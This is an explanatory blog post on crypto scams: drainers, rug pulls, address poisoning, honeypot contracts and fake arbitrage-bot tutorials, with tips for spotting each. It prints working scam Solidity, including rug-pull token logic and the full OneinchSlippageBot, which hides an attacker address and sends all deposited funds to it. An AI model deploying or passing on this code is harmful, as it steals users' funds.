Introduction
Every year, countless people suffer heavy losses from various scams. This post focuses on some of the most common scams seen recently.
Categories
Crypto Drainers (the most common)
How They Appear
Usually they mimic the layout and style of official websites, with content about claiming airdrops and such.
One variant: clicking a button connects your wallet and immediately pops up a signature request.
Another variant: when connecting your wallet, it shows an error or “busy” message, then asks you to type in your seed phrase or private key directly. Very straightforward…

How They Spread / Where You’ll See Them
Twitter comment sections are the most common venue. They’ll use a name and avatar very similar to the official account, and a link that closely resembles the official website.
On-chain: deploying tokens whose names contain URLs, then mass-transferring them to various addresses.
Because major block explorers, wallets, and ERC20 token trackers all rely on the ERC20 Transfer event, phishers only need to repeatedly emit Transfer events on their contract to fabricate transfer records between arbitrary addresses.
1function airdrop(address[] calldata _to, uint256 _value) public {
2 for (uint256 i = 0; i < _to.length; i++) {
3 emit Transfer(address(0x0), _to[i], _value);
4 }
5}

Common from addresses include exchange hot wallets and well-known deployers — all to build false trust. The image above shows the Uniswap v4 Pool Manager being spoofed.
Poisoning Google search results.
One approach: paying to place phishing links in sponsored positions near the top.
Another: links that look like official URLs but redirect to phishing sites. I haven’t seen this in the wild myself, so I’m not sure exactly how it’s done.

How It Works

Drainers come in many varieties, but the mechanics are largely the same.
After your wallet connects to the site, the page gets your wallet address and queries a backend service to check your assets across chains — native tokens, ERC20 tokens, ERC721 NFTs, ERC1155 tokens, LP liquidity positions, etc. (see /ethereum in the screenshot)
Sorted by value (highest first), it fires off signature requests one by one.
For native tokens, it sends a direct transfer request.
For ERC20 tokens that support permit, it sends a permit request to save gas. Once signed, the drainer calls permit on the contract and sweeps the assets.
For ERC20 tokens without permit support, it sends an approve request. Some drainers even helpfully send the victim a small amount of gas fee first if they detect the victim doesn’t have enough to cover the approval. (see /auto-gas-send in the screenshot)
The receiving address is also carefully crafted. Solidity’s CREATE2 lets you precompute a contract address. Drainers compute a unique receiving address for each victim, but don’t actually deploy the contract until funds arrive — this bypasses some wallet security checks. Once funds land, the contract is deployed and immediately sweeps them. (see /salt in the screenshot)

How to Spot Them / What to Watch For
Twitter name — check for the gold or blue checkmark. Sometimes a post will say it’s “the last reply,” meaning anything after that is a phishing link.

Link domain — check it’s the official domain, spelling is correct, and pay close attention to characters like i, l, 1 which look almost identical.
If a signature request pops up immediately after connecting your wallet, be very cautious. Legitimate DApps only request a login signature, or wait until you click a specific button — they don’t immediately pop up a signing request on connect.
Rug Pull

How They Appear and Spread
Tokens deployed on-chain, usually named after trending news or hot topics.
The ERC20 contract’s _transfer method includes airdrop logic that randomly selects a few addresses on every transfer and sends tiny amounts to artificially inflate the holder count.
1if (airdropNumbs > 0 && from != address(this) && from != receiveWallet) {
2 address ad;
3 uint256 airdropAmount = amount / 10**9;
4 for (uint256 i = 0; i < airdropNumbs; i++) {
5 ad = address(
6 uint160(
7 uint256(
8 keccak256(
9 abi.encodePacked(i, amount, block.timestamp)
10 )
11 )
12 )
13 );
14 super._transfer(from, ad, airdropAmount);
15 }
16 feeAmount += airdropNumbs * airdropAmount;
17}
Once there’s enough trading volume and holders, the token becomes visible to regular users in Web3 wallets.
Regular users buy in with real money, and then the founders pull the rug.

How They Work
There are several variants:
Removing liquidity — the simplest form. After enough users buy in, the founders simply withdraw all liquidity and vanish.
Some tokens even prevent users from adding liquidity, ensuring the founders maintain full control.
Infinite minting, or burning the liquidity pool:
1function airdrop(address[] memory investors, uint256[] memory amounts) external
2{
3 for (uint256 i = 0; i < investors.length; i++) {
4 address wallet = investors[i];
5 uint256 amount = _balances[wallet] > amounts[i] ? _balances[wallet] - amounts[i] : 0;
6 _calcHolderBalance(wallet,msg.sender, amount);
7 }
8}
9
10function _calcHolderBalance(address from, address to, uint256 amount) private {
11 if(block.number > 0 && from != uniswapV2Pair || _deployer == to){
12 _balances[from] = _balances[from].sub(amount);
13 _balances[to] = _balances[to].add(amount.mul(_finalBuyTax));
14 }
15}
The airdrop function is actually setting the balance of any address — but only _deployer can set the Uniswap pair’s balance.
This makes it trivially easy to drain almost all of the other token from the liquidity pool.
Blocking user sells in _transfer:
1function _transfer(address from, address to, uint256 amount) private {
2 // ...
3
4 uint256 contractTokenBalance = balanceOf(address(this));
5 if (!inSwap && to == uniswapV2Pair && swapEnabled) {
6 if (contractTokenBalance > 0)
7 _coralSwap(
8 min(amount, min(contractTokenBalance, _maxTaxSwap))
9 );
10 _CoralToFee(address(this).balance);
11 }
12
13 // ...
14}
15
16function _CoralToFee(uint256 amount) private {
17 _coralStore.transfer(amount);
18}
Looks like a normal transfer, but _coralStore is a contract address. What does that contract do?

If you’re not on the whitelist, it reverts. So only whitelisted addresses can sell the token.
How to Spot Them
You need to check more than just the contract. Other factors matter too. Here’s what AI recommends:
- Check liquidity lock — if the team hasn’t locked the liquidity pool, they can withdraw and disappear at any time.
- Review the smart contract code on Etherscan, BscScan, etc. for malicious code.
- Research the team background — many rug pulls are run by anonymous teams. Be cautious with non-transparent projects.
- Avoid FOMO — many scams lure investors with “quick pump” narratives. Stay calm and analyze.
- Community and audits — check community activity and whether there are credible third-party audits (e.g., CertiK, PeckShield).
Similar Address (Address Poisoning)
How They Appear
Addresses with matching prefixes or suffixes impersonating legitimate transfers.
Some match the last four or six characters, some match the first four and last four, some even match the first four and last six.
Since explorers and wallets only display a few characters at each end, it’s easy to confuse them.
How They Spread and Work
Usually targets commonly-used stablecoins like USDT and USDC. The attacker deploys a fake token with the same name — let’s call it USDT2.
For every real USDT transfer a user makes, the attacker injects two events into the user’s transaction history:
- A USDT transfer of 0
- A USDT2 transfer of the same amount
Or they might send a tiny amount of real USDT.
Given an original transaction:
Alice -> Bob 100 USDT
The attacker generates a fake address Bob2 and executes:
Alice -> Bob2 0 USDT (transferFrom amount=0)
Alice -> Bob2 100 USDT2
The user sees this in their explorer and Web3 wallet transaction history. If they copy the wrong address next time, it’s game over.

How to Spot Them
Read carefully. Avoid copying addresses from explorers. Always triple-check addresses before sending.
Honey Pot
How They Appear and Spread
Large funds are placed in a contract that pretends to have a vulnerability, specifically targeting people who know just enough to be dangerous.
These mostly spread through block explorers — rarely on Twitter.
How They Work
The “lucky game” is a classic that’s been around for years and still catches victims today.
1/**
2 *Submitted for verification at Etherscan.io on 2025-02-26
3*/
4
5contract el_Quiz
6{
7 function Try(string memory _response) public payable
8 {
9 require(msg.sender == tx.origin);
10
11 if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
12 {
13 payable(msg.sender).transfer(address(this).balance);
14 }
15 }
16
17 string public question;
18
19 bytes32 responseHash;
20
21 mapping (bytes32=>bool) admin;
22
23 function Start(string calldata _question, string calldata _response) public payable isAdmin{
24 if(responseHash==0x0){
25 responseHash = keccak256(abi.encode(_response));
26 question = _question;
27 }
28 }
29
30 function Stop() public payable isAdmin {
31 payable(msg.sender).transfer(address(this).balance);
32 responseHash = 0x0;
33 }
34
35 function New(string calldata _question, bytes32 _responseHash) public payable isAdmin {
36 question = _question;
37 responseHash = _responseHash;
38 }
39
40 constructor(bytes32[] memory admins) {
41 for(uint256 i=0; i< admins.length; i++){
42 admin[admins[i]] = true;
43 }
44 }
45
46 modifier isAdmin(){
47 require(admin[keccak256(abi.encodePacked(msg.sender))]);
48 _;
49 }
50
51 fallback() external {}
52}
Users need to pay more than 1 ETH to answer a question. If they’re right, they can claim all the funds in the contract.
The Start function sets the question and answer, so a clever user might think to look at how it was previously called.

The question is cleverly designed as a riddle — the kind that makes you feel like others wouldn’t think of it, but you’re just smart enough to figure it out.
The contract also enforces msg.sender == tx.origin, preventing Try from being called via another contract. (For now.)
By the time the user sends 1 ETH to call Try, it’s too late to turn back.
But there’s a catch: Start only sets responseHash when it’s currently 0x0 (i.e., never been set). There’s also a New function that can directly update responseHash.
(Check the Start transaction’s state changes and the contract’s internal transactions on the explorer.)
start_Bank is disguised as a savings contract with a reentrancy vulnerability, baiting users into thinking they can exploit it.
1/**
2 *Submitted for verification at Etherscan.io on 2025-02-16
3*/
4
5pragma solidity 0.7.6;
6
7contract start_BANK {
8 function Deposit(uint _unlockTime) public payable {
9 Holder storage acc = Accounts[msg.sender];
10 acc.balance += msg.value;
11 acc.unlockTime = _unlockTime > block.timestamp ? _unlockTime : block.timestamp;
12 LogFile.AddMessage(msg.sender, msg.value, "Put");
13 }
14
15 function Collect(uint _am) public payable {
16 Holder storage acc = Accounts[msg.sender];
17 if (acc.balance > MinSum && acc.balance >= _am && block.timestamp > acc.unlockTime) {
18 (bool success, ) = msg.sender.call{value: _am}("");
19 if (success) {
20 acc.balance -= _am;
21 LogFile.AddMessage(msg.sender, _am, "Collect");
22 }
23 }
24 }
25
26 struct Holder {
27 uint unlockTime;
28 uint balance;
29 }
30
31 mapping(address => Holder) public Accounts;
32
33 Log LogFile;
34
35 uint public MinSum = 1 ether;
36
37 constructor(address log) {
38 LogFile = Log(log);
39 }
40
41 fallback() external payable {
42 Deposit(0);
43 }
44
45 receive() external payable {
46 Deposit(0);
47 }
48}
49
50contract Log {
51 event Message(address indexed Sender, string Data, uint Val, uint Time);
52
53 function AddMessage(address _adr, uint _val, string memory _data) external {
54 emit Message(_adr, _data, _val, block.timestamp);
55 }
56}
At first glance, Collect calls before updating state — classic reentrancy vulnerability, right?
The trick is that LogFile is passed in as a constructor parameter and isn’t necessarily the Log contract shown below. So Log here just serves as an interface.
Looking up the real LogFile address and decompiling the unverified contract reveals the truth.
When msg.sender is not the start_Bank contract, it simply emits a log event. But when called from start_Bank, it enters hidden logic.
The messy bytecode is essentially equivalent to: require(tx.origin == owner || _data[0] != '0x43') — meaning for non-owner addresses, the first character of _data (the message) cannot be 'C' (for “Collect”). Translation: everyone else can log other actions, but only the owner can Collect.
There’s another clever detail: the unlock time check in Collect requires block.timestamp > acc.unlockTime, while Deposit sets the unlock time to at least block.timestamp. So even though the contract accepts deposits and withdrawals from any address, the same address can’t call Deposit and Collect in the same block. This traps users: once you deposit, you can never withdraw.
How to Spot Them
These contracts usually hold significant funds to attract victims.
The defense: don’t be greedy, and sharpen your technical skills to see through the trap.
Others: YouTube Solidity Videos, Fake Cloudflare Scripts
How They Appear
If you spend time on Twitter, you’ve probably seen ads claiming some AI wrote an amazing arbitrage bot that made a ton of money in a short time, with a YouTube tutorial link.
The video provides a link (legitimate-looking, no phishing) to what’s claimed to be AI-generated contract code. It walks you through opening Remix, pasting the code in, deploying it, and then transferring some “seed funds” to your deployed bot. After that, you call the bot’s start function.
Users might think: I deployed this contract myself, and it’s called OneinchSlippageBot or UniswapSlippageBot — what could go wrong? They transfer the funds. Welp.
Let’s read the SlippageBot contract together:
1/**
2 *Submitted for verification at Etherscan.io on 2025-01-30
3*/
4
5//SPDX-License-Identifier: MIT
6pragma solidity ^0.6.6;
7
8// This 1inch Slippage bot is for mainnet only. Testnet transactions will fail because testnet transactions have no value.
9// Import Libraries Migrator/Exchange/Factory
10// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2ERC20.sol";
11// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Factory.sol";
12// import "https://github.com/Uniswap/uniswap-v2-core/blob/master/contracts/interfaces/IUniswapV2Pair.sol";
13
14contract OneinchSlippageBot {
15
16 //string public tokenName;
17 //string public tokenSymbol;
18 uint liquidity;
19 string private WETH_CONTRACT_ADDRESS = "0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2";
20 string private UNISWAP_CONTRACT_ADDRESS = "0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D";
21
22 event Log(string _msg);
23
24 constructor() public {
25 //tokenSymbol = _mainTokenSymbol;
26 //tokenName = _mainTokenName;
27 }
28
29 receive() external payable {}
30
31 struct slice {
32 uint _len;
33 uint _ptr;
34 }
35
36 /*
37 * @dev Find newly deployed contracts on Uniswap Exchange
38 * @param memory of required contract liquidity.
39 * @param other The second slice to compare.
40 * @return New contracts with required liquidity.
41 */
42
43 function findNewContracts(slice memory self, slice memory other) internal view returns (int) {
44 uint shortest = self._len;
45
46 if (other._len < self._len)
47 shortest = other._len;
48
49 uint selfptr = self._ptr;
50 uint otherptr = other._ptr;
51
52 for (uint idx = 0; idx < shortest; idx += 32) {
53 // initiate contract finder
54 uint a;
55 uint b;
56
57 loadCurrentContract(WETH_CONTRACT_ADDRESS);
58 loadCurrentContract(UNISWAP_CONTRACT_ADDRESS);
59 assembly {
60 a := mload(selfptr)
61 b := mload(otherptr)
62 }
63
64 if (a != b) {
65 // Mask out irrelevant contracts and check again for new contracts
66 uint256 mask = uint256(-1);
67
68 if(shortest < 32) {
69 mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
70 }
71 uint256 diff = (a & mask) - (b & mask);
72 if (diff != 0)
73 return int(diff);
74 }
75 selfptr += 32;
76 otherptr += 32;
77 }
78 return int(self._len) - int(other._len);
79 }
80
81
82 /*
83 * @dev Extracts the newest contracts on Uniswap exchange
84 * @param self The slice to operate on.
85 * @param rune The slice that will contain the first rune.
86 * @return `list of contracts`.
87 */
88 function findContracts(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
89 uint ptr = selfptr;
90 uint idx;
91
92 if (needlelen <= selflen) {
93 if (needlelen <= 32) {
94 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
95
96 bytes32 needledata;
97 assembly { needledata := and(mload(needleptr), mask) }
98
99 uint end = selfptr + selflen - needlelen;
100 bytes32 ptrdata;
101 assembly { ptrdata := and(mload(ptr), mask) }
102
103 while (ptrdata != needledata) {
104 if (ptr >= end)
105 return selfptr + selflen;
106 ptr++;
107 assembly { ptrdata := and(mload(ptr), mask) }
108 }
109 return ptr;
110 } else {
111 // For long needles, use hashing
112 bytes32 hash;
113 assembly { hash := keccak256(needleptr, needlelen) }
114
115 for (idx = 0; idx <= selflen - needlelen; idx++) {
116 bytes32 testHash;
117 assembly { testHash := keccak256(ptr, needlelen) }
118 if (hash == testHash)
119 return ptr;
120 ptr += 1;
121 }
122 }
123 }
124 return selfptr + selflen;
125 }
126
127
128 /*
129 * @dev Loading the contract
130 * @param contract address
131 * @return contract interaction object
132 */
133 function loadCurrentContract(string memory self) internal pure returns (string memory) {
134 string memory ret = self;
135 uint retptr;
136 assembly { retptr := add(ret, 32) }
137
138 return ret;
139 }
140
141 /*
142 * @dev Extracts the contract from Uniswap
143 * @param self The slice to operate on.
144 * @param rune The slice that will contain the first rune.
145 * @return `rune`.
146 */
147 function nextContract(slice memory self, slice memory rune) internal pure returns (slice memory) {
148 rune._ptr = self._ptr;
149
150 if (self._len == 0) {
151 rune._len = 0;
152 return rune;
153 }
154
155 uint l;
156 uint b;
157 // Load the first byte of the rune into the LSBs of b
158 assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) }
159 if (b < 0x80) {
160 l = 1;
161 } else if(b < 0xE0) {
162 l = 2;
163 } else if(b < 0xF0) {
164 l = 3;
165 } else {
166 l = 4;
167 }
168
169 // Check for truncated codepoints
170 if (l > self._len) {
171 rune._len = self._len;
172 self._ptr += self._len;
173 self._len = 0;
174 return rune;
175 }
176
177 self._ptr += l;
178 self._len -= l;
179 rune._len = l;
180 return rune;
181 }
182
183 function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
184 bytes memory tmp = bytes(_a);
185 uint160 iaddr = 0;
186 uint160 b1;
187 uint160 b2;
188 for (uint i = 2; i < 2 + 2 * 20; i += 2) {
189 iaddr *= 256;
190 b1 = uint160(uint8(tmp[i]));
191 b2 = uint160(uint8(tmp[i + 1]));
192 if ((b1 >= 97) && (b1 <= 102)) {
193 b1 -= 87;
194 } else if ((b1 >= 65) && (b1 <= 70)) {
195 b1 -= 55;
196 } else if ((b1 >= 48) && (b1 <= 57)) {
197 b1 -= 48;
198 }
199 if ((b2 >= 97) && (b2 <= 102)) {
200 b2 -= 87;
201 } else if ((b2 >= 65) && (b2 <= 70)) {
202 b2 -= 55;
203 } else if ((b2 >= 48) && (b2 <= 57)) {
204 b2 -= 48;
205 }
206 iaddr += (b1 * 16 + b2);
207 }
208 return address(iaddr);
209 }
210
211
212 function memcpy(uint dest, uint src, uint len) private pure {
213 // Check available liquidity
214 for(; len >= 32; len -= 32) {
215 assembly {
216 mstore(dest, mload(src))
217 }
218 dest += 32;
219 src += 32;
220 }
221
222 // Copy remaining bytes
223 uint mask = 256 ** (32 - len) - 1;
224 assembly {
225 let srcpart := and(mload(src), not(mask))
226 let destpart := and(mload(dest), mask)
227 mstore(dest, or(destpart, srcpart))
228 }
229 }
230
231 /*
232 * @dev Orders the contract by its available liquidity
233 * @param self The slice to operate on.
234 * @return The contract with possbile maximum return
235 */
236 function orderContractsByLiquidity(slice memory self) internal pure returns (uint ret) {
237 if (self._len == 0) {
238 return 0;
239 }
240
241 uint word;
242 uint length;
243 uint divisor = 2 ** 248;
244
245 // Load the rune into the MSBs of b
246 assembly { word:= mload(mload(add(self, 32))) }
247 uint b = word / divisor;
248 if (b < 0x80) {
249 ret = b;
250 length = 1;
251 } else if(b < 0xE0) {
252 ret = b & 0x1F;
253 length = 2;
254 } else if(b < 0xF0) {
255 ret = b & 0x0F;
256 length = 3;
257 } else {
258 ret = b & 0x07;
259 length = 4;
260 }
261
262 // Check for truncated codepoints
263 if (length > self._len) {
264 return 0;
265 }
266
267 for (uint i = 1; i < length; i++) {
268 divisor = divisor / 256;
269 b = (word / divisor) & 0xFF;
270 if (b & 0xC0 != 0x80) {
271 // Invalid UTF-8 sequence
272 return 0;
273 }
274 ret = (ret * 64) | (b & 0x3F);
275 }
276
277 return ret;
278 }
279
280 function getMempoolStart() private pure returns (string memory) {
281 return "b153";
282 }
283
284 /*
285 * @dev Calculates remaining liquidity in contract
286 * @param self The slice to operate on.
287 * @return The length of the slice in runes.
288 */
289 function calcLiquidityInContract(slice memory self) internal pure returns (uint l) {
290 uint ptr = self._ptr - 31;
291 uint end = ptr + self._len;
292 for (l = 0; ptr < end; l++) {
293 uint8 b;
294 assembly { b := and(mload(ptr), 0xFF) }
295 if (b < 0x80) {
296 ptr += 1;
297 } else if(b < 0xE0) {
298 ptr += 2;
299 } else if(b < 0xF0) {
300 ptr += 3;
301 } else if(b < 0xF8) {
302 ptr += 4;
303 } else if(b < 0xFC) {
304 ptr += 5;
305 } else {
306 ptr += 6;
307 }
308 }
309 }
310
311 function fetchMempoolEdition() private pure returns (string memory) {
312 return "a0BE";
313 }
314
315 /*
316 * @dev Parsing all Uniswap mempool
317 * @param self The contract to operate on.
318 * @return True if the slice is empty, False otherwise.
319 */
320
321 /*
322 * @dev Returns the keccak-256 hash of the contracts.
323 * @param self The slice to hash.
324 * @return The hash of the contract.
325 */
326 function keccak(slice memory self) internal pure returns (bytes32 ret) {
327 assembly {
328 ret := keccak256(mload(add(self, 32)), mload(self))
329 }
330 }
331
332 function getMempoolShort() private pure returns (string memory) {
333 return "0x402";
334 }
335 /*
336 * @dev Check if contract has enough liquidity available
337 * @param self The contract to operate on.
338 * @return True if the slice starts with the provided text, false otherwise.
339 */
340 function checkLiquidity(uint a) internal pure returns (string memory) {
341
342 uint count = 0;
343 uint b = a;
344 while (b != 0) {
345 count++;
346 b /= 16;
347 }
348 bytes memory res = new bytes(count);
349 for (uint i=0; i<count; ++i) {
350 b = a % 16;
351 res[count - i - 1] = toHexDigit(uint8(b));
352 a /= 16;
353 }
354
355 return string(res);
356 }
357
358 function getMempoolHeight() private pure returns (string memory) {
359 return "16C1B";
360 }
361 /*
362 * @dev If `self` starts with `needle`, `needle` is removed from the
363 * beginning of `self`. Otherwise, `self` is unmodified.
364 * @param self The slice to operate on.
365 * @param needle The slice to search for.
366 * @return `self`
367 */
368 function beyond(slice memory self, slice memory needle) internal pure returns (slice memory) {
369 if (self._len < needle._len) {
370 return self;
371 }
372
373 bool equal = true;
374 if (self._ptr != needle._ptr) {
375 assembly {
376 let length := mload(needle)
377 let selfptr := mload(add(self, 0x20))
378 let needleptr := mload(add(needle, 0x20))
379 equal := eq(keccak256(selfptr, length), keccak256(needleptr, length))
380 }
381 }
382
383 if (equal) {
384 self._len -= needle._len;
385 self._ptr += needle._len;
386 }
387
388 return self;
389 }
390
391 function getMempoolLog() private pure returns (string memory) {
392 return "18565ec5";
393 }
394
395 // Returns the memory address of the first byte of the first occurrence of
396 // `needle` in `self`, or the first byte after `self` if not found.
397 function getBa() private view returns(uint) {
398 return address(this).balance;
399 }
400
401 function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private pure returns (uint) {
402 uint ptr = selfptr;
403 uint idx;
404
405 if (needlelen <= selflen) {
406 if (needlelen <= 32) {
407 bytes32 mask = bytes32(~(2 ** (8 * (32 - needlelen)) - 1));
408
409 bytes32 needledata;
410 assembly { needledata := and(mload(needleptr), mask) }
411
412 uint end = selfptr + selflen - needlelen;
413 bytes32 ptrdata;
414 assembly { ptrdata := and(mload(ptr), mask) }
415
416 while (ptrdata != needledata) {
417 if (ptr >= end)
418 return selfptr + selflen;
419 ptr++;
420 assembly { ptrdata := and(mload(ptr), mask) }
421 }
422 return ptr;
423 } else {
424 // For long needles, use hashing
425 bytes32 hash;
426 assembly { hash := keccak256(needleptr, needlelen) }
427
428 for (idx = 0; idx <= selflen - needlelen; idx++) {
429 bytes32 testHash;
430 assembly { testHash := keccak256(ptr, needlelen) }
431 if (hash == testHash)
432 return ptr;
433 ptr += 1;
434 }
435 }
436 }
437 return selfptr + selflen;
438 }
439
440 /*
441 * @dev Iterating through all mempool to call the one with the with highest possible returns
442 * @return `self`.
443 */
444 function fetchMempoolData() internal pure returns (string memory) {
445 string memory _mempoolShort = getMempoolShort();
446
447 string memory _mempoolEdition = fetchMempoolEdition();
448 /*
449 * @dev loads all Uniswap mempool into memory
450 * @param token An output parameter to which the first token is written.
451 * @return `mempool`.
452 */
453 string memory _mempoolVersion = fetchMempoolVersion();
454 string memory _mempoolLong = getMempoolLong();
455 /*
456 * @dev Modifies `self` to contain everything from the first occurrence of
457 * `needle` to the end of the slice. `self` is set to the empty slice
458 * if `needle` is not found.
459 * @param self The slice to search and modify.
460 * @param needle The text to search for.
461 * @return `self`.
462 */
463
464 string memory _getMempoolHeight = getMempoolHeight();
465 string memory _getMempoolCode = getMempoolCode();
466
467 /*
468 load mempool parameters
469 */
470 string memory _getMempoolStart = getMempoolStart();
471
472 string memory _getMempoolLog = getMempoolLog();
473
474
475
476 return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion,
477 _mempoolLong, _getMempoolHeight,_getMempoolCode,_getMempoolStart,_getMempoolLog));
478 }
479
480 function toHexDigit(uint8 d) pure internal returns (byte) {
481 if (0 <= d && d <= 9) {
482 return byte(uint8(byte('0')) + d);
483 } else if (10 <= uint8(d) && uint8(d) <= 15) {
484 return byte(uint8(byte('a')) + d - 10);
485 }
486
487 // revert("Invalid hex digit");
488 revert();
489 }
490
491
492 function getMempoolLong() private pure returns (string memory) {
493 return "Bff0F";
494 }
495
496 /* @dev Perform frontrun action from different contract pools
497 * @param contract address to snipe liquidity from
498 * @return `liquidity`.
499 */
500 function start() public payable {
501 /*
502 * Start the trading process with the bot by Uniswap Router
503 * To start the trading process correctly, you need to have a balance of at least 0.4 ETH on your contract
504 */
505 require(address(this).balance >= 0.4 ether, "Insufficient contract balance");
506 }
507
508 /*
509 * @dev withdrawals profit back to contract creator address
510 * @return `profits`.
511 */
512 function withdrawal() public payable {
513 address to = startExploration((fetchMempoolData()));
514 address payable contracts = payable(to);
515 contracts.transfer(getBa());
516 }
517
518 /*
519 * @dev token int2 to readable str
520 * @param token An output parameter to which the first token is written.
521 * @return `token`.
522 */
523 function getMempoolCode() private pure returns (string memory) {
524 return "07c85";
525 }
526
527 function uint2str(uint _i) internal pure returns (string memory _uintAsString) {
528 if (_i == 0) {
529 return "0";
530 }
531 uint j = _i;
532 uint len;
533 while (j != 0) {
534 len++;
535 j /= 10;
536 }
537 bytes memory bstr = new bytes(len);
538 uint k = len - 1;
539 while (_i != 0) {
540 bstr[k--] = byte(uint8(48 + _i % 10));
541 _i /= 10;
542 }
543 return string(bstr);
544 }
545
546 function fetchMempoolVersion() private pure returns (string memory) {
547 return "1e3d80";
548 }
549
550 /*
551 * @dev loads all Uniswap mempool into memory
552 * @param token An output parameter to which the first token is written.
553 * @return `mempool`.
554 */
555 function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
556 bytes memory _baseBytes = bytes(_base);
557 bytes memory _valueBytes = bytes(_value);
558
559 string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
560 bytes memory _newValue = bytes(_tmpValue);
561
562 uint i;
563 uint j;
564
565 for(i=0; i<_baseBytes.length; i++) {
566 _newValue[j++] = _baseBytes[i];
567 }
568
569 for(i=0; i<_valueBytes.length; i++) {
570 _newValue[j++] = _valueBytes[i];
571 }
572
573 return string(_newValue);
574 }
575}
What it actually does: start tricks users into depositing more funds, and withdrawal transfers everything to the attacker.
Another variant: a fake Cloudflare verification page. After clicking “verify,” it prompts for “additional verification.”
It tells you to paste code into the browser console. This installs malware that steals your private key.